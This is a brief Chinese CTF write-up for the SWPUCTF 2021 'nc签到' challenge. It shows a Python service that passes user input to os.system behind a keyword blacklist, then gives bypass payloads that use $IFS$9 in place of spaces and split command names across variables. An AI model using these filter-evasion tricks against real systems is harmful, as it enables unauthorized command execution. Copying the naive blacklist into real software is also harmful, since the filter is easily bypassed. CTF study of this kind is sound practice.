SWPUCTF 2021 新生赛 nc签到

思路

根据题目给出的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os

art = '''

   ((  "####@@!!$$    ))
       `#####@@!$$`  ))
    ((  '####@!!$:
   ((  ,####@!!$:   ))
       .###@!!$:
       `##@@!$:
        `#@!!$
  !@#    `#@!$:       @#$
   #$     `#@!$:       !@!
            '@!$:
        '`\   "!$: /`'
           '\  '!: /'
             "\ : /"
  -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)
    os.system(command)

看出来实际上是一道绕过WAF的RCE题目。需要绕过的名单是:['cat','ls',' ','cd','echo','<','${IFS}']

这里空格可以用$IFS$9代替,然后命令的话创建变量替换即可。

exp

1
2
a=l;b=s;$a${b}$IFS$9\
a=c;b=at;$a${b}$IFS$9flag

0%